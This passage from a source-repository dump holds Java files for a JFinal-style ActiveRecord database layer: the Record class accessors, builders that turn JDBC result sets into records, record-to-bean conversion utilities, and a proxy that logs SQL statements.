newColumns\n\t\t\t\t\tnewColumns.put(c, this.columns.get(c));\n\t\t\t\tif (this._getModifyFlag().contains(c))\n\t\t\t\t\tnewModifyFlag.add(c);\n\t\t\t}\n\t\t\tthis.columns = newColumns;\n\t\t\tthis.modifyFlag = newModifyFlag;\n\t\t}\n\t\telse {\n\t\t\tthis.getColumns().clear();\n\t\t\tthis.clearModifyFlag();\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * Keep column of this record and remove other columns.\n\t * @param column the column names of the record\n\t */\n\tpublic Record keep(String column) {\n\t\tif (getColumns().containsKey(column)) {\t// prevent put null value to the newColumns\n\t\t\tObject keepIt = getColumns().get(column);\n\t\t\tgetColumns().clear();\n\t\t\tgetColumns().put(column, keepIt);\n\n\t\t\tboolean keepFlag = _getModifyFlag().contains(column);\n\t\t\tclearModifyFlag();\n\t\t\tif (keepFlag) {\n\t\t\t\t_getModifyFlag().add(column);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tgetColumns().clear();\n\t\t\tclearModifyFlag();\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * Remove all columns of this record.\n\t */\n\tpublic Record clear() {\n\t\tgetColumns().clear();\n\t\tclearModifyFlag();\n\t\treturn this;\n\t}\n\n\t/**\n\t * Set column to record.\n\t * @param column the column name\n\t * @param value the value of the column\n\t */\n\tpublic Record set(String column, Object value) {\n\t\tgetColumns().put(column, value);\n\t\t_getModifyFlag().add(column);\t// Add modify flag, update() need this flag.\n\t\treturn this;\n\t}\n\n\t/**\n\t * Get column of any mysql type\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> T get(String column) {\n\t\treturn (T)getColumns().get(column);\n\t}\n\n\t/**\n\t * Get column of any mysql type. Returns defaultValue if null.\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> T get(String column, Object defaultValue) {\n\t\tObject result = getColumns().get(column);\n\t\treturn (T)(result != null ? result : defaultValue);\n\t}\n\n\tpublic Object getObject(String column) {\n\t\treturn getColumns().get(column);\n\t}\n\n\tpublic Object getObject(String column, Object defaultValue) {\n\t\tObject result = getColumns().get(column);\n\t\treturn result != null ? result : defaultValue;\n\t}\n\n\t/**\n\t * Get column of mysql type: varchar, char, enum, set, text, tinytext, mediumtext, longtext\n\t */\n\tpublic String getStr(String column) {\n\t\t// return (String)getColumns().get(column);\n\t\tObject s = getColumns().get(column);\n\t\treturn s != null ? s.toString() : null;\n\t}\n\n\t/**\n\t * Get column of mysql type: int, integer, tinyint(n) n > 1, smallint, mediumint\n\t */\n\tpublic Integer getInt(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.intValue() : null;\n\t\treturn TypeKit.toInt(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: bigint, unsigned int\n\t */\n\tpublic Long getLong(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.longValue() : null;\n\t\treturn TypeKit.toLong(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: unsigned bigint\n\t */\n\tpublic BigInteger getBigInteger(String column) {\n\t\t// return (java.math.BigInteger)getColumns().get(column);\n\t\tObject n = getColumns().get(column);\n\t\tif (n instanceof BigInteger) {\n\t\t\treturn (BigInteger)n;\n\t\t}\n\n\t\t// 数据类型 id(19 number)在 Oracle Jdbc 下对应的是 BigDecimal,\n\t\t// 但是在 MySql 下对应的是 BigInteger，这会导致在 MySql 下生成的代码无法在 Oracle 数据库中使用\n\t\tif (n instanceof BigDecimal) {\n\t\t\treturn ((BigDecimal)n).toBigInteger();\n\t\t} else if (n instanceof Number) {\n\t\t\treturn BigInteger.valueOf(((Number)n).longValue());\n\t\t} else if (n instanceof String) {\n\t\t\treturn new BigInteger((String)n);\n\t\t}\n\n\t\treturn (BigInteger)n;\n\t}\n\n\t/**\n\t * Get column of mysql type: date, year\n\t */\n\tpublic java.util.Date getDate(String column) {\n\t\treturn TypeKit.toDate(getColumns().get(column));\n\t}\n\n\tpublic LocalDateTime getLocalDateTime(String column) {\n\t\treturn TypeKit.toLocalDateTime(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: time\n\t */\n\tpublic java.sql.Time getTime(String column) {\n\t\treturn (java.sql.Time)getColumns().get(column);\n\t}\n\n\t/**\n\t * Get column of mysql type: timestamp, datetime\n\t */\n\tpublic java.sql.Timestamp getTimestamp(String column) {\n\t\treturn (java.sql.Timestamp)getColumns().get(column);\n\t}\n\n\t/**\n\t * Get column of mysql type: real, double\n\t */\n\tpublic Double getDouble(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.doubleValue() : null;\n\t\treturn TypeKit.toDouble(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: float\n\t */\n\tpublic Float getFloat(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.floatValue() : null;\n\t\treturn TypeKit.toFloat(getColumns().get(column));\n\t}\n\n\tpublic Short getShort(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.shortValue() : null;\n\t\treturn TypeKit.toShort(getColumns().get(column));\n\t}\n\n\tpublic Byte getByte(String column) {\n\t\t// Number n = getNumber(column);\n\t\t// return n != null ? n.byteValue() : null;\n\t\treturn TypeKit.toByte(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: bit, tinyint(1)\n\t */\n\tpublic Boolean getBoolean(String column) {\n\t\t// return (Boolean)getColumns().get(column);\n\t\treturn TypeKit.toBoolean(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: decimal, numeric\n\t */\n\tpublic BigDecimal getBigDecimal(String column) {\n\t\treturn TypeKit.toBigDecimal(getColumns().get(column));\n\t}\n\n\t/**\n\t * Get column of mysql type: binary, varbinary, tinyblob, blob, mediumblob, longblob\n\t * I have not finished the test.\n\t */\n\tpublic byte[] getBytes(String column) {\n\t\treturn (byte[])getColumns().get(column);\n\t}\n\n\t/**\n\t * Get column of any type that extends from Number\n\t */\n\tpublic Number getNumber(String column) {\n\t\t// return (Number)getColumns().get(column);\n\t\treturn TypeKit.toNumber(getColumns().get(column));\n\t}\n\n\tpublic String toString() {\n\t\tif (columns == null) {\n\t\t\treturn \"{}\";\n\t\t}\n\t\tStringBuilder sb = new StringBuilder();\n\t\tsb.append('{');\n\t\tboolean first = true;\n\t\tfor (Entry<String, Object> e : getColumns().entrySet()) {\n\t\t\tif (first) {\n\t\t\t\tfirst = false;\n\t\t\t} else {\n\t\t\t\tsb.append(\", \");\n\t\t\t}\n\t\t\tObject value = e.getValue();\n\t\t\tif (value != null) {\n\t\t\t\tvalue = value.toString();\n\t\t\t}\n\t\t\tsb.append(e.getKey()).append(':').append(value);\n\t\t}\n\t\tsb.append('}');\n\t\treturn sb.toString();\n\t}\n\n\tpublic boolean equals(Object o) {\n\t\tif (!(o instanceof Record))\n\t\t\treturn false;\n\t\tif (o == this)\n\t\t\treturn true;\n\t\treturn getColumns().equals(((Record)o).getColumns());\n\t}\n\n\tpublic int hashCode() {\n\t\treturn getColumns().hashCode();\n\t}\n\n\t/**\n\t * Return column names of this record.\n\t */\n\tpublic String[] getColumnNames() {\n\t\tSet<String> attrNameSet = getColumns().keySet();\n\t\treturn attrNameSet.toArray(new String[attrNameSet.size()]);\n\t}\n\n\t/**\n\t * Return column values of this record.\n\t */\n\tpublic Object[] getColumnValues() {\n\t\tjava.util.Collection<Object> attrValueCollection = getColumns().values();\n\t\treturn attrValueCollection.toArray(new Object[attrValueCollection.size()]);\n\t}\n\n\t/**\n\t * Return json string of this record.\n\n\t public String toJson() {\n\t return com.jfinal.kit.JsonKit.toJson(getColumns());\n\t } */\n\n\t@Override\n\tpublic Map<String, Object> toMap() {\n\t\treturn getColumns();\n\t}\n\n\t@Override\n\tpublic Record put(Map<String, Object> map) {\n\t\tgetColumns().putAll(map);\n\t\treturn this;\n\t}\n\n\t@Override\n\tpublic Record put(String key, Object value) {\n\t\tgetColumns().put(key, value);\n\t\treturn this;\n\t}\n\n\t@Override\n\tpublic int size() {\n\t\treturn columns != null ? columns.size() : 0;\n\t}\n\n\tpublic static <T> T recordToBean(Record record, Class<T> clazz){\n\t\treturn RecordUtil.recordToBean(record,clazz);\n\t}\n\tpublic static Map<String, Object> recordToMap(Record record) {\n\t\treturn RecordUtil.recordToMap(record);\n\t}\n\tpublic static <T> List<T> recordToListBean(List<Record> recordList, Class<T> clazz){\n\t\treturn RecordUtil.recordToListBean(recordList,clazz);\n\t}\n\tpublic static Page pageRecordToPage(Page<Record> pageList){\n\t\treturn RecordUtil.pageRecordToPage(pageList);\n\t}\n\tpublic static List<Map> recordToMaps(List<Record> recordList){\n\t\treturn RecordUtil.recordToMaps(recordList);\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/RecordBuilder.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.sql.Blob;\nimport java.sql.Clob;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Types;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.function.Function;\n\n/**\n * RecordBuilder.\n */\npublic class RecordBuilder {\n\t\n\tpublic static final RecordBuilder me = new RecordBuilder();\n\t\n\tpublic List<Record> build(Config config, ResultSet rs) throws SQLException {\n\t\treturn build(config, rs, null);\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Record> build(Config config, ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = new String[columnCount + 1];\n\t\tint[] types = new int[columnCount + 1];\n\t\tbuildLabelNamesAndTypes(rsmd, labelNames, types);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n\t\t\trecord.setColumnsMap(config.containerFactory.getColumnsMap());\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value;\n\t\t\t\tif (types[i] < Types.BLOB) {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t} else {\n\t\t\t\t\tif (types[i] == Types.CLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getClob(i));\n\t\t\t\t\t} else if (types[i] == Types.NCLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getNClob(i));\n\t\t\t\t\t} else if (types[i] == Types.BLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleBlob(rs.getBlob(i));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\t\n\t\t\tif (func == null) {\n\t\t\t\tresult.add(record);\n\t\t\t} else {\n\t\t\t\tif ( ! func.apply(record) ) {\n\t\t\t\t\tbreak ;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tpublic void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n\t\tfor (int i=1; i<labelNames.length; i++) {\n\t\t\t// 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n\t\t\tlabelNames[i] = rsmd.getColumnLabel(i);\n\t\t\ttypes[i] = rsmd.getColumnType(i);\n\t\t}\n\t}\n\n\tpublic byte[] handleBlob(Blob blob) throws SQLException {\n\t\tif (blob == null)\n\t\t\treturn null;\n\n\t\tInputStream is = null;\n\t\ttry {\n\t\t\tis = blob.getBinaryStream();\n\t\t\tif (is == null)\n\t\t\t\treturn null;\n\t\t\tbyte[] data = new byte[(int)blob.length()];\t\t// byte[] data = new byte[is.available()];\n\t\t\tif (data.length == 0)\n\t\t\t\treturn null;\n\t\t\tis.read(data);\n\t\t\treturn data;\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\tfinally {\n\t\t\tif (is != null)\n\t\t\t\ttry {is.close();} catch (IOException e) {throw new RuntimeException(e);}\n\t\t}\n\t}\n\n\tpublic String handleClob(Clob clob) throws SQLException {\n\t\tif (clob == null)\n\t\t\treturn null;\n\n\t\tReader reader = null;\n\t\ttry {\n\t\t\treader = clob.getCharacterStream();\n\t\t\tif (reader == null)\n\t\t\t\treturn null;\n\t\t\tchar[] buffer = new char[(int)clob.length()];\n\t\t\tif (buffer.length == 0)\n\t\t\t\treturn null;\n\t\t\treader.read(buffer);\n\t\t\treturn new String(buffer);\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\tfinally {\n\t\t\tif (reader != null)\n\t\t\t\ttry {reader.close();} catch (IOException e) {throw new RuntimeException(e);}\n\t\t}\n\t}\n\t\n\t/* backup before use columnType\n\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = getLabelNames(rsmd, columnCount);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value = rs.getObject(i);\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tprivate static final String[] getLabelNames(ResultSetMetaData rsmd, int columnCount) throws SQLException {\n\t\tString[] result = new String[columnCount + 1];\n\t\tfor (int i=1; i<=columnCount; i++)\n\t\t\tresult[i] = rsmd.getColumnLabel(i);\n\t\treturn result;\n\t}\n\t*/\n\t\n\t/* backup\n\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tList<String> labelNames = getLabelNames(rsmd);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (String lableName : labelNames) {\n\t\t\t\tObject value = rs.getObject(lableName);\n\t\t\t\tcolumns.put(lableName, value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tprivate static final List<String> getLabelNames(ResultSetMetaData rsmd) throws SQLException {\n\t\tint columCount = rsmd.getColumnCount();\n\t\tList<String> result = new ArrayList<String>();\n\t\tfor (int i=1; i<=columCount; i++) {\n\t\t\tresult.add(rsmd.getColumnLabel(i));\n\t\t}\n\t\treturn result;\n\t}\n\t*/\n}\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/RecordUtil.java",
    "content": "package io.github.wujun728.db.record;\n\n//import com.alibaba.fastjson2.JSONObject;\n//import com.google.common.collect.Lists;\n//import org.springframework.util.CollectionUtils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.bean.copier.CopyOptions;\n\nimport java.lang.reflect.Field;\nimport java.math.BigDecimal;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @ClassName: RecordUtils\n * @Description: Record相关工具类\n *\n */\npublic class RecordUtil {\n\n    public static <T> List<Record> javaBeanToRecords(List<T> objs) throws IllegalArgumentException, IllegalAccessException{\n        List<Record> datas = new ArrayList();\n        for(T item :objs){\n            datas.add(javaBeanToRecord(item));\n        }\n        return datas;\n    }\n    public static <T> Record javaBeanToRecord(T obj) throws IllegalArgumentException, IllegalAccessException{\n        if(obj != null){\n            Record record = new Record();\n            Class clazz = obj.getClass();\n            Field[] fields = clazz.getDeclaredFields();\n            for(int i=0; i<fields.length; i++){\n                Field field = fields[i];\n                if(!field.isAccessible())  {\n                    field.setAccessible(true);\n                }\n                String columnName = FieldUtils.fieldNameToColumnName(field.getName());\n                record.set(columnName, field.get(obj));\n            }\n            return record;\n\n        }\n        return null;\n    }\n   /* */\n   /*\n    public static <T> List<T> recrodToJavaBeans(List<Record> records, Class<T> clazz){\n        List<T> datas = Lists.newArrayList();\n        for(Record item :records){\n            datas.add(recrodToJavaBean(item,clazz));\n        }\n        return datas;\n    }\n    public static <T> T recrodToJavaBean(Record record, Class<T> clazz){\n        if(record != null){\n            try {\n                T obj = clazz.newInstance();\n                String[] columns = record.getColumnNames();\n                for(String col: columns){\n                    String fieldname = FieldUtils.columnNameToFieldName(col);\n                    Field field = null;\n                    try {\n                        field = clazz.getDeclaredField(col);\n                    } catch (NoSuchFieldException e) {\n                        try {\n                            field = clazz.getDeclaredField(fieldname);\n                        } catch (NoSuchFieldException ex) {\n                            throw new RuntimeException(ex);\n                        }\n                    }\n                    if(field != null){\n                        if(!field.isAccessible()){\n                            field.setAccessible(true);\n                        }\n                        field.set(obj, record.getObject(col));\n                    }\n                }\n                return obj;\n            } catch (InstantiationException e) {\n                throw new RuntimeException(e);\n            } catch (IllegalAccessException e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return null;\n    }*/\n\n    @Deprecated\n\tpublic List convertRecord(List<Record> lists,Class clazz){\n\t\tList datas = new ArrayList();\n        if(lists!=null && lists.size()>0) {\n\t\t\tlists.forEach(item->{\n\t\t\t\tObject info = null;\n\t\t\t\ttry {\n\t\t\t\t\t//info = BeanMapUtil.columnsMapToBean(item.getColumns(), clazz);\n\t\t\t\t\tinfo = BeanUtil.mapToBean(item.getColumns(),clazz,true,CopyOptions.create());\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tdatas.add(info);\n\t\t\t});\n\n\t\t}\n\t\treturn datas;\n\t}\n    @Deprecated\n\tpublic Object convertRecord(Record record,Class clazz){\n\t\tObject info = null;\n\t\ttry {\n            info = BeanUtil.mapToBean(record.getColumns(), clazz,true, CopyOptions.create());\n\t\t\t//info = BeanMapUtil.columnsMapToBean(record.getColumns(), clazz);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn info;\n\t}\n\n    @SuppressWarnings(\"unchecked\")\n    public static <T> List mapToBeans(List<Map<String, Object>> lists, Class<T> clazz){\n        List<T> datas = new ArrayList();\n        if(lists!=null && lists.size()>0) {\n            lists.forEach(item->{\n                datas.add(RecordUtil.mapToBean(item,clazz));\n            });\n        }\n        return datas;\n    }\n    public static <T> T mapToBean(Map<String, Object> item, Class<T> clazz){\n        T obj = null;\n        Map m = new HashMap<>();\n        item.forEach((k,v)->{\n            m.put(FieldUtils.columnNameToFieldName(String.valueOf(k)), v);\n        });\n        try {\n            //obj = BeanMapUtil.mapToBean(item,clazz);\n            obj = BeanUtil.mapToBean(item, clazz,true, CopyOptions.create());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return obj;\n    }\n\n    public static List<Map> recordToMaps(List<Record> recordList){\n        if (recordList == null || recordList.size() == 0){\n            return null;\n        }\n        List<Map> list = new ArrayList<>();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToMap(record));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n    @Deprecated\n    public static List<Map> recordToMaps2(List<Record> recordList){\n        if (recordList == null || recordList.size() == 0){\n            return null;\n        }\n        List<Map> list = new ArrayList<>();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToMap2(record));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n//    public static Page pageRecordToPageList(Page<Record> pageList){\n//        return RecordUtil.pageRecordToPage(pageList);\n//    }\n\n    public static Page pageRecordToPage(Page<Record> pageList){\n        if (pageList == null || pageList.getList().size() == 0){\n            return null;\n        }\n        List<Map<String, Object>> list = new ArrayList<>();\n        List<Record> recordList = pageList.getList();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToMap(record));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        Page page = new Page();\n        page.setList(list);\n        page.setPageNumber(pageList.getPageNumber());\n        page.setPageSize(pageList.getPageSize());\n        page.setTotalPage(pageList.getTotalPage());\n        page.setTotalRow(pageList.getTotalRow());\n        return page;\n    }\n\n    public static Map<String, Object> recordToMap(Record record) {\n        Map<String, Object> map = new HashMap<String, Object>();\n        if (record != null) {\n            String[] columns = record.getColumnNames();\n            for (String col : columns) {\n                String fieldName = FieldUtils.columnNameToFieldName(col);\n                map.put(fieldName, record.get(col));\n            }\n        }\n        return map;\n    }\n    @Deprecated\n    public static Map recordToMap2(Record record) {\n        Map  map = new HashMap<String, Object>();\n        if (record != null) {\n            String[] columns = record.getColumnNames();\n            for (String col : columns) {\n                String fieldName = FieldUtils.columnNameToFieldName(col);\n                map.put(fieldName, record.get(col));\n            }\n        }\n        return map;\n    }\n\n    public static <T> T recordToBean(Record record, Class<T> clazz){\n        if (record == null){\n            return null;\n        }\n        try {\n            T vo = clazz.newInstance();\n            Field[] fields = clazz.getDeclaredFields();\n            for (Field field : fields) {\n                String fieldName = field.getName();\n                field.setAccessible(true);\n                //根据类型赋值\n                String fieldClassName = field.getType().getSimpleName();\n                String columnName = FieldUtils.fieldNameToColumnName(fieldName);\n                Object obj = record.get(fieldName);\n                if (obj == null) {\n                    obj = record.get(columnName);\n                }\n                if (obj != null) {\n                    if (\"String\".equalsIgnoreCase(fieldClassName)) {\n                        field.set(vo, obj.toString());\n                    }else if (\"int\".equals(fieldClassName) || \"Integer\".equals(fieldClassName)) {\n                        field.set(vo,Integer.parseInt(obj.toString()));\n                    }else if (\"BigDecimal\".equalsIgnoreCase(fieldClassName)){\n                        field.set(vo, new BigDecimal(obj.toString()));\n                    }else if (\"boolean\".equals(fieldClassName)){\n                        field.set(vo,obj);\n                    }\n                }\n            }\n            return vo;\n        } catch (InstantiationException e) {\n            throw new RuntimeException(e);\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n    }\n    /**\n     * Record数据集合转为实体类List集合\n     *\n     * @param recordList        Record数据\n     * @param clazz             实体类\n     * @param <T>               泛型\n     * @return                  实体类List集合\n     * @throws Exception        抛出异常\n     */\n    public static <T> List<T> recordToListBean(List<Record> recordList, Class<T> clazz){\n        if (recordList == null || recordList.size() == 0){\n            return null;\n        }\n        List<T> list = new ArrayList<>();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToBean(record, clazz));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/SqlReporter.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\nimport java.sql.Connection;\n//import com.jfinal.log.Logger;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * SqlReporter.\n */\npublic class SqlReporter implements InvocationHandler {\n\t\n\tprivate Connection conn;\n\tprivate static boolean loggerOn = false;\n\tprivate static final Logger log = LoggerFactory.getLogger(SqlReporter.class);\n\t\n\tSqlReporter(Connection conn) {\n\t\tthis.conn = conn;\n\t}\n\t\n\tpublic static void setLogger(boolean on) {\n\t\tSqlReporter.loggerOn = on;\n\t}\n\t\n\t@SuppressWarnings(\"rawtypes\")\n\tConnection getConnection() {\n\t\tClass clazz = conn.getClass();\n\t\treturn (Connection)Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Connection.class}, this);\n\t}\n\t\n\tpublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n\t\ttry {\n\t\t\tif (method.getName().equals(\"prepareStatement\")) {\n\t\t\t\tString info = \"Sql: \" + args[0];\n\t\t\t\tif (loggerOn)\n\t\t\t\t\tlog.info(info);\n\t\t\t\telse\n\t\t\t\t\tSystem.out.println(info);\n\t\t\t}\n\t\t\treturn method.invoke(conn, args);\n\t\t} catch (InvocationTargetException e) {\n\t\t\tthrow e.getTargetException();\n\t\t}\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/builder/TimestampProcessedRecordBuilder.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.builder;\n\nimport io.github.wujun728.db.record.Config;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.RecordBuilder;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Types;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.function.Function;\n\n/**\n * TimestampProcessedRecordBuilder\n * 时间戳被处理过的 RecordBuilder\n * oracle 从 Connection 中取值时需要调用具体的 getTimestamp(int) 来取值\n */\npublic class TimestampProcessedRecordBuilder extends RecordBuilder {\n\n\n\tpublic static final TimestampProcessedRecordBuilder me = new TimestampProcessedRecordBuilder();\n\t\n\t@Override\n\tpublic List<Record> build(Config config, ResultSet rs) throws SQLException {\n\t\treturn build(config, rs, null);\n\t}\n\t\n\t@Override\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Record> build(Config config, ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = new String[columnCount + 1];\n\t\tint[] types = new int[columnCount + 1];\n\t\tbuildLabelNamesAndTypes(rsmd, labelNames, types);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n//\t\t\tCPI.setColumnsMap(record, config.getContainerFactory().getColumnsMap());\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value;\n\t\t\t\tif (types[i] < Types.DATE) {\n\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t} else {\n\t\t\t\t\tif (types[i] == Types.TIMESTAMP) {\n\t\t\t\t\t\tvalue = rs.getTimestamp(i);\n\t\t\t\t\t} else if (types[i] == Types.DATE) {\n\t\t\t\t\t\tvalue = rs.getDate(i);\n\t\t\t\t\t} else if (types[i] == Types.CLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getClob(i));\n\t\t\t\t\t} else if (types[i] == Types.NCLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleClob(rs.getNClob(i));\n\t\t\t\t\t} else if (types[i] == Types.BLOB) {\n\t\t\t\t\t\tvalue = RecordBuilder.me.handleBlob(rs.getBlob(i));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = rs.getObject(i);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\t\n\t\t\tif (func == null) {\n\t\t\t\tresult.add(record);\n\t\t\t} else {\n\t\t\t\tif ( ! func.apply(record) ) {\n\t\t\t\t\tbreak ;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/AnsiSqlDialect.java",
